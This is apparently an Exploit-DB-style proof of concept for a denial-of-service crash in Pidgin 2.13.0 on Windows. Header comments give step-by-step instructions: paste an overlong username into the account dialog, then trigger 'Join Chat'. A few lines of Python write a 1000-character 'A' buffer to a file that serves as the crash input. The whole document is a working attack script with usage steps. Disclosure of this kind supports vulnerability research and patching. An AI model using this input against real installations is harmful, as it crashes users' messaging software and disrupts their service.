# -*- coding: utf-8 -*-# Exploit Title: Pidgin 2.13.0 - Denial of Service (PoC)# Date: 24/05/2019# Author: Alejandra Sánchez# Vendor Homepage: https://pidgin.im/# Software https://cfhcable.dl.sourceforge.net/project/pidgin/Pidgin/2.13.0/pidgin-2.13.0.exe# Version: 2.13.0# Tested on: Windows 7, Windows 10# Proof of Concept:# 1.- Run the python script 'pidgin.py', it will create a new file 'pidgin.txt'# 2.- Open Pidgin# 3.- Go to 'Accounts' > 'Manage Accounts'# 4.- Click 'Add...', paste the content of pidgin.txt into the field 'Username', # into the field 'Password' write anything, e.g. 1234 and click 'Add'# 5.- On the taskbar, click show hidden icons, right click on Pingin and select 'Join Chat...'# 6.- Now click 'Join' and crashed
buffer = "\x41"* 1000
f = open ("pidgin.txt","w")
f.write(buffer)
f.close()